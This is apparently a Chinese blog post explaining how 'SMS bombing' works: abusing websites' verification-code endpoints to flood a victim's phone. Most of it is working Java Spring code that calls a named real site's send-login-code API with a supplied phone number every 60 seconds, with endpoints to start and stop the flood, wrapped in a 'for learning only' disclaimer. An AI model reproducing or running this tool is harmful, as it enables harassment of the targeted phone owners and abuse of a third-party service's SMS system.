今天看到个新闻,如下,网购给差评后遭遇短信轰炸
新闻就不谈论了啊,今天就聊聊短信轰炸。
短信轰炸顾名思义就是给你发一堆垃圾短信,让你烦恼😡
今天小卷就来弄一弄短信轰炸的原理是啥
小卷谷歌了几个在线短信轰炸的网站,找了几个后才终于找到个能用的,如图启动后,小卷的手机开始收到各种乱七八糟的短信了。看了半天,都是些验证码。。。
于是得出结论:短信轰炸其实就是请求各种网站的发送验证码接口,给你的手机不停发验证码短信
弄懂了原理后,我们也能自己动手操作一番了。本文所有内容仅供学习使用,请私用,勿用于其他用途。
这里小卷找了个验证码短信接口(现在的网站为了防刷,通常发验证码短信前还需要再验证一次的,所以不太好找)
如图所示,网站只要输个手机号就能发送验证码短信了
小卷之前的文章有教大家怎么薅京豆羊毛[奶奶看了都会]京东自动签到薅羊毛-完整教程
直接复用之前的HttpUtil类,通过Get请求一遍接口即可,为了能一直轰炸,设置为每隔60s重新再请求一次。
ScheduledExecutorService timer = Executors.newSingleThreadScheduledExecutor();
@GetMapping("/smsbombing/start")
public String smsbombingStart(String phoneNum) {
//发送短信验证码的接口
String api = "https://818ps.com/site-api/send-tel-login-code?num=%s&codeImg=undefined";
String apiString = String.format(api, phoneNum);
RequestSms requestSms = new RequestSms(apiString);
//开始轰炸,每隔60s发一次
timer.scheduleAtFixedRate(requestSms, 0, 60, TimeUnit.SECONDS);
return "执行完成";
}
@GetMapping("/smsbombing/stop")
public String smsbombingStop() {
timer.shutdown();
return "执行完成";
}
protected class RequestSms implements Runnable {
private String apiString;
RequestSms(){}
RequestSms(String apiString){
this.apiString = apiString;
}
@Override
public void run() {
try {
String response = OkHttpUtils.get(apiString);
log.info("短信轰炸执行,response:{}", response);
} catch (Exception e) {
e.printStackTrace();
}
}
}
后面手机就会收到短信了
所有内容仅供学习用哦~